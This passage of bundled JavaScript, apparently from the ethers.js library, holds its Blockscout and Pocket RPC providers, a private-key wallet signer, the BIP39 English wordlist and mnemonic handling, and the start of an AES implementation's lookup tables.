\"arbitrum\":\n return \"https:/\\/arbitrum.blockscout.com/api/eth-rpc\";\n case \"base\":\n return \"https:/\\/base.blockscout.com/api/eth-rpc\";\n case \"base-sepolia\":\n return \"https:/\\/base-sepolia.blockscout.com/api/eth-rpc\";\n case \"matic\":\n return \"https:/\\/polygon.blockscout.com/api/eth-rpc\";\n case \"optimism\":\n return \"https:/\\/optimism.blockscout.com/api/eth-rpc\";\n case \"optimism-sepolia\":\n return \"https:/\\/optimism-sepolia.blockscout.com/api/eth-rpc\";\n case \"xdai\":\n return \"https:/\\/gnosis.blockscout.com/api/eth-rpc\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **BlockscoutProvider** connects to the [[link-blockscout]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-blockscout).\n */\nexport class BlockscoutProvider extends JsonRpcProvider {\n /**\n * The API key.\n */\n apiKey;\n /**\n * Creates a new **BlockscoutProvider**.\n */\n constructor(_network, apiKey) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (apiKey == null) {\n apiKey = null;\n }\n const request = BlockscoutProvider.getRequest(network);\n super(request, network, { staticNetwork: network });\n defineProperties(this, { apiKey });\n }\n _getProvider(chainId) {\n try {\n return new BlockscoutProvider(chainId, this.apiKey);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n isCommunityResource() {\n return (this.apiKey === null);\n }\n getRpcRequest(req) {\n // Blockscout enforces the TAG argument for estimateGas\n const resp = super.getRpcRequest(req);\n if (resp && resp.method === \"eth_estimateGas\" && resp.args.length == 1) {\n resp.args = resp.args.slice();\n resp.args.push(\"latest\");\n }\n return resp;\n }\n getRpcError(payload, _error) {\n const error = _error ? _error.error : null;\n // Blockscout currently drops the VM result and replaces it with a\n // human-readable string, so we need to make it machine-readable.\n if (error && error.code === -32015 && !isHexString(error.data || \"\", true)) {\n const panicCodes = {\n \"assert(false)\": \"01\",\n \"arithmetic underflow or overflow\": \"11\",\n \"division or modulo by zero\": \"12\",\n \"out-of-bounds array access; popping on an empty array\": \"31\",\n \"out-of-bounds access of an array or bytesN\": \"32\"\n };\n let panicCode = \"\";\n if (error.message === \"VM execution error.\") {\n // eth_call passes this message\n panicCode = panicCodes[error.data] || \"\";\n }\n else if (panicCodes[error.message || \"\"]) {\n panicCode = panicCodes[error.message || \"\"];\n }\n if (panicCode) {\n error.message += ` (reverted: ${error.data})`;\n error.data = \"0x4e487b7100000000000000000000000000000000000000000000000000000000000000\" + panicCode;\n }\n }\n else if (error && error.code === -32000) {\n if (error.message === \"wrong transaction nonce\") {\n error.message += \" (nonce too low)\";\n }\n }\n return super.getRpcError(payload, _error);\n }\n /**\n * Returns a prepared request for connecting to %%network%%\n * with %%apiKey%%.\n */\n static getRequest(network) {\n const request = new FetchRequest(getUrl(network.name));\n request.allowGzip = true;\n return request;\n }\n}\n//# sourceMappingURL=provider-blockscout.js.map","/**\n * [[link-pocket]] provides a third-party service for connecting to\n * various blockchains over JSON-RPC.\n *\n * **Supported Networks**\n *\n * - Ethereum Mainnet (``mainnet``)\n * - Goerli Testnet (``goerli``)\n * - Polygon (``matic``)\n * - Arbitrum (``arbitrum``)\n *\n * @_subsection: api/providers/thirdparty:Pocket [providers-pocket]\n */\nimport { defineProperties, FetchRequest, assertArgument } from \"../utils/index.js\";\nimport { showThrottleMessage } from \"./community.js\";\nimport { Network } from \"./network.js\";\nimport { JsonRpcProvider } from \"./provider-jsonrpc.js\";\nconst defaultApplicationId = \"62e1ad51b37b8e00394bda3b\";\nfunction getHost(name) {\n switch (name) {\n case \"mainnet\":\n return \"eth-mainnet.gateway.pokt.network\";\n case \"goerli\":\n return \"eth-goerli.gateway.pokt.network\";\n case \"matic\":\n return \"poly-mainnet.gateway.pokt.network\";\n case \"matic-mumbai\":\n return \"polygon-mumbai-rpc.gateway.pokt.network\";\n }\n assertArgument(false, \"unsupported network\", \"network\", name);\n}\n/**\n * The **PocketProvider** connects to the [[link-pocket]]\n * JSON-RPC end-points.\n *\n * By default, a highly-throttled API key is used, which is\n * appropriate for quick prototypes and simple scripts. To\n * gain access to an increased rate-limit, it is highly\n * recommended to [sign up here](link-pocket-signup).\n */\nexport class PocketProvider extends JsonRpcProvider {\n /**\n * The Application ID for the Pocket connection.\n */\n applicationId;\n /**\n * The Application Secret for making authenticated requests\n * to the Pocket connection.\n */\n applicationSecret;\n /**\n * Create a new **PocketProvider**.\n *\n * By default connecting to ``mainnet`` with a highly throttled\n * API key.\n */\n constructor(_network, applicationId, applicationSecret) {\n if (_network == null) {\n _network = \"mainnet\";\n }\n const network = Network.from(_network);\n if (applicationId == null) {\n applicationId = defaultApplicationId;\n }\n if (applicationSecret == null) {\n applicationSecret = null;\n }\n const options = { staticNetwork: network };\n const request = PocketProvider.getRequest(network, applicationId, applicationSecret);\n super(request, network, options);\n defineProperties(this, { applicationId, applicationSecret });\n }\n _getProvider(chainId) {\n try {\n return new PocketProvider(chainId, this.applicationId, this.applicationSecret);\n }\n catch (error) { }\n return super._getProvider(chainId);\n }\n /**\n * Returns a prepared request for connecting to %%network%% with\n * %%applicationId%%.\n */\n static getRequest(network, applicationId, applicationSecret) {\n if (applicationId == null) {\n applicationId = defaultApplicationId;\n }\n const request = new FetchRequest(`https:/\\/${getHost(network.name)}/v1/lb/${applicationId}`);\n request.allowGzip = true;\n if (applicationSecret) {\n request.setCredentials(\"\", applicationSecret);\n }\n if (applicationId === defaultApplicationId) {\n request.retryFunc = async (request, response, attempt) => {\n showThrottleMessage(\"PocketProvider\");\n return true;\n };\n }\n return request;\n }\n isCommunityResource() {\n return (this.applicationId === defaultApplicationId);\n }\n}\n//# sourceMappingURL=provider-pocket.js.map","const IpcSocketProvider = undefined;\nexport { IpcSocketProvider };\n//# sourceMappingURL=provider-ipcsocket-browser.js.map","import { getAddress, resolveAddress } from \"../address/index.js\";\nimport { hashAuthorization, hashMessage, TypedDataEncoder } from \"../hash/index.js\";\nimport { AbstractSigner, copyRequest } from \"../providers/index.js\";\nimport { computeAddress, Transaction } from \"../transaction/index.js\";\nimport { defineProperties, getBigInt, resolveProperties, assert, assertArgument } from \"../utils/index.js\";\n/**\n * The **BaseWallet** is a stream-lined implementation of a\n * [[Signer]] that operates with a private key.\n *\n * It is preferred to use the [[Wallet]] class, as it offers\n * additional functionality and simplifies loading a variety\n * of JSON formats, Mnemonic Phrases, etc.\n *\n * This class may be of use for those attempting to implement\n * a minimal Signer.\n */\nexport class BaseWallet extends AbstractSigner {\n /**\n * The wallet address.\n */\n address;\n #signingKey;\n /**\n * Creates a new BaseWallet for %%privateKey%%, optionally\n * connected to %%provider%%.\n *\n * If %%provider%% is not specified, only offline methods can\n * be used.\n */\n constructor(privateKey, provider) {\n super(provider);\n assertArgument(privateKey && typeof (privateKey.sign) === \"function\", \"invalid private key\", \"privateKey\", \"[ REDACTED ]\");\n this.#signingKey = privateKey;\n const address = computeAddress(this.signingKey.publicKey);\n defineProperties(this, { address });\n }\n // Store private values behind getters to reduce visibility\n // in console.log\n /**\n * The [[SigningKey]] used for signing payloads.\n */\n get signingKey() { return this.#signingKey; }\n /**\n * The private key for this wallet.\n */\n get privateKey() { return this.signingKey.privateKey; }\n async getAddress() { return this.address; }\n connect(provider) {\n return new BaseWallet(this.#signingKey, provider);\n }\n async signTransaction(tx) {\n tx = copyRequest(tx);\n // Replace any Addressable or ENS name with an address\n const { to, from } = await resolveProperties({\n to: (tx.to ? resolveAddress(tx.to, this) : undefined),\n from: (tx.from ? resolveAddress(tx.from, this) : undefined)\n });\n if (to != null) {\n tx.to = to;\n }\n if (from != null) {\n tx.from = from;\n }\n if (tx.from != null) {\n assertArgument(getAddress((tx.from)) === this.address, \"transaction from address mismatch\", \"tx.from\", tx.from);\n delete tx.from;\n }\n // Build the transaction\n const btx = Transaction.from(tx);\n btx.signature = this.signingKey.sign(btx.unsignedHash);\n return btx.serialized;\n }\n async signMessage(message) {\n return this.signMessageSync(message);\n }\n // @TODO: Add a secialized signTx and signTyped sync that enforces\n // all parameters are known?\n /**\n * Returns the signature for %%message%% signed with this wallet.\n */\n signMessageSync(message) {\n return this.signingKey.sign(hashMessage(message)).serialized;\n }\n /**\n * Returns the Authorization for %%auth%%.\n */\n authorizeSync(auth) {\n assertArgument(typeof (auth.address) === \"string\", \"invalid address for authorizeSync\", \"auth.address\", auth);\n const signature = this.signingKey.sign(hashAuthorization(auth));\n return Object.assign({}, {\n address: getAddress(auth.address),\n nonce: getBigInt(auth.nonce || 0),\n chainId: getBigInt(auth.chainId || 0),\n }, { signature });\n }\n /**\n * Resolves to the Authorization for %%auth%%.\n */\n async authorize(auth) {\n auth = Object.assign({}, auth, {\n address: await resolveAddress(auth.address, this)\n });\n return this.authorizeSync(await this.populateAuthorization(auth));\n }\n async signTypedData(domain, types, value) {\n // Populate any ENS names\n const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (name) => {\n // @TODO: this should use resolveName; addresses don't\n // need a provider\n assert(this.provider != null, \"cannot resolve ENS names without a provider\", \"UNSUPPORTED_OPERATION\", {\n operation: \"resolveName\",\n info: { name }\n });\n const address = await this.provider.resolveName(name);\n assert(address != null, \"unconfigured ENS name\", \"UNCONFIGURED_NAME\", {\n value: name\n });\n return address;\n });\n return this.signingKey.sign(TypedDataEncoder.hash(populated.domain, types, populated.value)).serialized;\n }\n}\n//# sourceMappingURL=base-wallet.js.map","import { assertArgument } from \"../utils/index.js\";\nconst subsChrs = \" !#$%&'()*+,-./<=>?@[]^_`{|}~\";\nconst Word = /^[a-z]*$/i;\nfunction unfold(words, sep) {\n let initial = 97;\n return words.reduce((accum, word) => {\n if (word === sep) {\n initial++;\n }\n else if (word.match(Word)) {\n accum.push(String.fromCharCode(initial) + word);\n }\n else {\n initial = 97;\n accum.push(word);\n }\n return accum;\n }, []);\n}\n/**\n * @_ignore\n */\nexport function decode(data, subs) {\n // Replace all the substitutions with their expanded form\n for (let i = subsChrs.length - 1; i >= 0; i--) {\n data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2));\n }\n // Get all tle clumps; each suffix, first-increment and second-increment\n const clumps = [];\n const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => {\n if (semi) {\n for (let i = parseInt(semi); i >= 0; i--) {\n clumps.push(\";\");\n }\n }\n else {\n clumps.push(item.toLowerCase());\n }\n return \"\";\n });\n /* c8 ignore start */\n if (leftover) {\n throw new Error(`leftovers: ${JSON.stringify(leftover)}`);\n }\n /* c8 ignore stop */\n return unfold(unfold(clumps, \";\"), \":\");\n}\n/**\n * @_ignore\n */\nexport function decodeOwl(data) {\n assertArgument(data[0] === \"0\", \"unsupported auwl data\", \"data\", data);\n return decode(data.substring(1 + 2 * subsChrs.length), data.substring(1, 1 + 2 * subsChrs.length));\n}\n//# sourceMappingURL=decode-owl.js.map","import { defineProperties } from \"../utils/index.js\";\n/**\n * A Wordlist represents a collection of language-specific\n * words used to encode and devoce [[link-bip-39]] encoded data\n * by mapping words to 11-bit values and vice versa.\n */\nexport class Wordlist {\n locale;\n /**\n * Creates a new Wordlist instance.\n *\n * Sub-classes MUST call this if they provide their own constructor,\n * passing in the locale string of the language.\n *\n * Generally there is no need to create instances of a Wordlist,\n * since each language-specific Wordlist creates an instance and\n * there is no state kept internally, so they are safe to share.\n */\n constructor(locale) {\n defineProperties(this, { locale });\n }\n /**\n * Sub-classes may override this to provide a language-specific\n * method for spliting %%phrase%% into individual words.\n *\n * By default, %%phrase%% is split using any sequences of\n * white-space as defined by regular expressions (i.e. ``/\\s+/``).\n */\n split(phrase) {\n return phrase.toLowerCase().split(/\\s+/g);\n }\n /**\n * Sub-classes may override this to provider a language-specific\n * method for joining %%words%% into a phrase.\n *\n * By default, %%words%% are joined by a single space.\n */\n join(words) {\n return words.join(\" \");\n }\n}\n//# sourceMappingURL=wordlist.js.map","// Use the encode-latin.js script to create the necessary\n// data files to be consumed by this class\nimport { id } from \"../hash/index.js\";\nimport { assertArgument } from \"../utils/index.js\";\nimport { decodeOwl } from \"./decode-owl.js\";\nimport { Wordlist } from \"./wordlist.js\";\n/**\n * An OWL format Wordlist is an encoding method that exploits\n * the general locality of alphabetically sorted words to\n * achieve a simple but effective means of compression.\n *\n * This class is generally not useful to most developers as\n * it is used mainly internally to keep Wordlists for languages\n * based on ASCII-7 small.\n *\n * If necessary, there are tools within the ``generation/`` folder\n * to create the necessary data.\n */\nexport class WordlistOwl extends Wordlist {\n #data;\n #checksum;\n /**\n * Creates a new Wordlist for %%locale%% using the OWL %%data%%\n * and validated against the %%checksum%%.\n */\n constructor(locale, data, checksum) {\n super(locale);\n this.#data = data;\n this.#checksum = checksum;\n this.#words = null;\n }\n /**\n * The OWL-encoded data.\n */\n get _data() { return this.#data; }\n /**\n * Decode all the words for the wordlist.\n */\n _decodeWords() {\n return decodeOwl(this.#data);\n }\n #words;\n #loadWords() {\n if (this.#words == null) {\n const words = this._decodeWords();\n // Verify the computed list matches the official list\n const checksum = id(words.join(\"\\n\") + \"\\n\");\n /* c8 ignore start */\n if (checksum !== this.#checksum) {\n throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`);\n }\n /* c8 ignore stop */\n this.#words = words;\n }\n return this.#words;\n }\n getWord(index) {\n const words = this.#loadWords();\n assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, \"index\", index);\n return words[index];\n }\n getWordIndex(word) {\n return this.#loadWords().indexOf(word);\n }\n}\n//# sourceMappingURL=wordlist-owl.js.map","import { WordlistOwl } from \"./wordlist-owl.js\";\nconst words = \"0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@SaultSetSi,SumeThma0H!>OmTa{T&dT.udeTra@0Ct]D.Gu,NtTh%ToTumn0Era+OcadoOid0AkeA*AyEsomeFulKw?d0Is:ByChel%C#D+GL<)Lc#y~MbooN_{Ad!AftAmA}AshAt AwlAzyEamEd.EekEw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Ze3AdowAnAsu*AtCh<-D$DiaLodyLtMb M%yNt]NuRcyR+R.RryShSsa+T$Thod3Dd!DnightLk~]M-NdNimumN%Nu>Rac!Rr%S ySs/akeXXedXtu*5Bi!DelDifyMM|N.%NkeyN, N`OnR$ReRn(gSqu.oTh T]T%Unta(U'VeVie5ChFf(LeLtiplySc!SeumShroomS-/Tu$3Self/ yTh:I=MePk(Rrow/yT]Tu*3ArCkEdGati=G!@I` PhewR=/TTw%kUtr$V WsXt3CeGht5B!I'M(eeOd!Rm$R`SeTab!TeTh(gTi)VelW5C!?Mb R'T:K0EyJe@Li+Scu*S =Ta(Vious0CurEAyEa'Ed+U{UgUn+2EmEtIntL?LeLi)NdNyOlPul?Rt]S.]Ssib!/TatoTt yV tyWd W _@i)Ai'Ed-tEf Epa*Es|EttyEv|I)IdeIm?yIntI%.yIs#Iva>IzeOb!mO)[Odu)Of.OgramOje@Omo>OofOp tyOsp O>@OudOvide2Bl-Dd(g~LpL'Mpk(N^PilPpyR^a'R.yRpo'R'ShTZz!3Ramid:99Al.yAntumArt E,]I{ItIzO>:Bb.Cco#CeCkD?DioIlInI'~yMpN^NdomN+PidReTeTh V&WZ%3AdyAlAs#BelBuildC$lCei=CipeC%dCyc!Du)F!@F%mFu'G]G*tGul?Je@LaxLea'LiefLyMa(Memb M(dMo=Nd NewNtOp&PairPeatPla)P%tQui*ScueSemb!Si,Sour)Sp#'SultTi*T*atTurnUn]Ve$ViewW?d2Y`m0BBb#CeChDeD+F!GhtGidNgOtPp!SkTu$V$V 5AdA,BotBu,CketM<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO\";\nconst checksum = \"0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60\";\nlet wordlist = null;\n/**\n * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39).\n *\n * @_docloc: api/wordlists\n */\nexport class LangEn extends WordlistOwl {\n /**\n * Creates a new instance of the English language Wordlist.\n *\n * This should be unnecessary most of the time as the exported\n * [[langEn]] should suffice.\n *\n * @_ignore:\n */\n constructor() { super(\"en\", words, checksum); }\n /**\n * Returns a singleton instance of a ``LangEn``, creating it\n * if this is the first time being called.\n */\n static wordlist() {\n if (wordlist == null) {\n wordlist = new LangEn();\n }\n return wordlist;\n }\n}\n//# sourceMappingURL=lang-en.js.map","import { pbkdf2, sha256 } from \"../crypto/index.js\";\nimport { defineProperties, getBytes, hexlify, assertNormalize, assertPrivate, assertArgument, toUtf8Bytes } from \"../utils/index.js\";\nimport { LangEn } from \"../wordlists/lang-en.js\";\n// Returns a byte with the MSB bits set\nfunction getUpperMask(bits) {\n return ((1 << bits) - 1) << (8 - bits) & 0xff;\n}\n// Returns a byte with the LSB bits set\nfunction getLowerMask(bits) {\n return ((1 << bits) - 1) & 0xff;\n}\nfunction mnemonicToEntropy(mnemonic, wordlist) {\n assertNormalize(\"NFKD\");\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n const words = wordlist.split(mnemonic);\n assertArgument((words.length % 3) === 0 && words.length >= 12 && words.length <= 24, \"invalid mnemonic length\", \"mnemonic\", \"[ REDACTED ]\");\n const entropy = new Uint8Array(Math.ceil(11 * words.length / 8));\n let offset = 0;\n for (let i = 0; i < words.length; i++) {\n let index = wordlist.getWordIndex(words[i].normalize(\"NFKD\"));\n assertArgument(index >= 0, `invalid mnemonic word at index ${i}`, \"mnemonic\", \"[ REDACTED ]\");\n for (let bit = 0; bit < 11; bit++) {\n if (index & (1 << (10 - bit))) {\n entropy[offset >> 3] |= (1 << (7 - (offset % 8)));\n }\n offset++;\n }\n }\n const entropyBits = 32 * words.length / 3;\n const checksumBits = words.length / 3;\n const checksumMask = getUpperMask(checksumBits);\n const checksum = getBytes(sha256(entropy.slice(0, entropyBits / 8)))[0] & checksumMask;\n assertArgument(checksum === (entropy[entropy.length - 1] & checksumMask), \"invalid mnemonic checksum\", \"mnemonic\", \"[ REDACTED ]\");\n return hexlify(entropy.slice(0, entropyBits / 8));\n}\nfunction entropyToMnemonic(entropy, wordlist) {\n assertArgument((entropy.length % 4) === 0 && entropy.length >= 16 && entropy.length <= 32, \"invalid entropy size\", \"entropy\", \"[ REDACTED ]\");\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n const indices = [0];\n let remainingBits = 11;\n for (let i = 0; i < entropy.length; i++) {\n // Consume the whole byte (with still more to go)\n if (remainingBits > 8) {\n indices[indices.length - 1] <<= 8;\n indices[indices.length - 1] |= entropy[i];\n remainingBits -= 8;\n // This byte will complete an 11-bit index\n }\n else {\n indices[indices.length - 1] <<= remainingBits;\n indices[indices.length - 1] |= entropy[i] >> (8 - remainingBits);\n // Start the next word\n indices.push(entropy[i] & getLowerMask(8 - remainingBits));\n remainingBits += 3;\n }\n }\n // Compute the checksum bits\n const checksumBits = entropy.length / 4;\n const checksum = parseInt(sha256(entropy).substring(2, 4), 16) & getUpperMask(checksumBits);\n // Shift the checksum into the word indices\n indices[indices.length - 1] <<= checksumBits;\n indices[indices.length - 1] |= (checksum >> (8 - checksumBits));\n return wordlist.join(indices.map((index) => wordlist.getWord(index)));\n}\nconst _guard = {};\n/**\n * A **Mnemonic** wraps all properties required to compute [[link-bip-39]]\n * seeds and convert between phrases and entropy.\n */\nexport class Mnemonic {\n /**\n * The mnemonic phrase of 12, 15, 18, 21 or 24 words.\n *\n * Use the [[wordlist]] ``split`` method to get the individual words.\n */\n phrase;\n /**\n * The password used for this mnemonic. If no password is used this\n * is the empty string (i.e. ``\"\"``) as per the specification.\n */\n password;\n /**\n * The wordlist for this mnemonic.\n */\n wordlist;\n /**\n * The underlying entropy which the mnemonic encodes.\n */\n entropy;\n /**\n * @private\n */\n constructor(guard, entropy, phrase, password, wordlist) {\n if (password == null) {\n password = \"\";\n }\n if (wordlist == null) {\n wordlist = LangEn.wordlist();\n }\n assertPrivate(guard, _guard, \"Mnemonic\");\n defineProperties(this, { phrase, password, wordlist, entropy });\n }\n /**\n * Returns the seed for the mnemonic.\n */\n computeSeed() {\n const salt = toUtf8Bytes(\"mnemonic\" + this.password, \"NFKD\");\n return pbkdf2(toUtf8Bytes(this.phrase, \"NFKD\"), salt, 2048, 64, \"sha512\");\n }\n /**\n * Creates a new Mnemonic for the %%phrase%%.\n *\n * The default %%password%% is the empty string and the default\n * wordlist is the [English wordlists](LangEn).\n */\n static fromPhrase(phrase, password, wordlist) {\n // Normalize the case and space; throws if invalid\n const entropy = mnemonicToEntropy(phrase, wordlist);\n phrase = entropyToMnemonic(getBytes(entropy), wordlist);\n return new Mnemonic(_guard, entropy, phrase, password, wordlist);\n }\n /**\n * Create a new **Mnemonic** from the %%entropy%%.\n *\n * The default %%password%% is the empty string and the default\n * wordlist is the [English wordlists](LangEn).\n */\n static fromEntropy(_entropy, password, wordlist) {\n const entropy = getBytes(_entropy, \"entropy\");\n const phrase = entropyToMnemonic(entropy, wordlist);\n return new Mnemonic(_guard, hexlify(entropy), phrase, password, wordlist);\n }\n /**\n * Returns the phrase for %%mnemonic%%.\n */\n static entropyToPhrase(_entropy, wordlist) {\n const entropy = getBytes(_entropy, \"entropy\");\n return entropyToMnemonic(entropy, wordlist);\n }\n /**\n * Returns the entropy for %%phrase%%.\n */\n static phraseToEntropy(phrase, wordlist) {\n return mnemonicToEntropy(phrase, wordlist);\n }\n /**\n * Returns true if %%phrase%% is a valid [[link-bip-39]] phrase.\n *\n * This checks all the provided words belong to the %%wordlist%%,\n * that the length is valid and the checksum is correct.\n */\n static isValidMnemonic(phrase, wordlist) {\n try {\n mnemonicToEntropy(phrase, wordlist);\n return true;\n }\n catch (error) { }\n return false;\n }\n}\n//# sourceMappingURL=mnemonic.js.map","/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */\nvar __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) {\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a getter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");\n return kind === \"m\" ? f : kind === \"a\" ? f.call(receiver) : f ? f.value : state.get(receiver);\n};\nvar __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) {\n if (kind === \"m\") throw new TypeError(\"Private method is not writable\");\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a setter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");\n return (kind === \"a\" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;\n};\nvar _AES_key, _AES_Kd, _AES_Ke;\n// Number of rounds by keysize\nconst numberOfRounds = { 16: 10, 24: 12, 32: 14 };\n// Round constant words\nconst rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91];\n// S-box and Inverse S-box (S is for Substitution)\nconst S = [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 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84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d];\n// Transformations for encryption\nconst T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 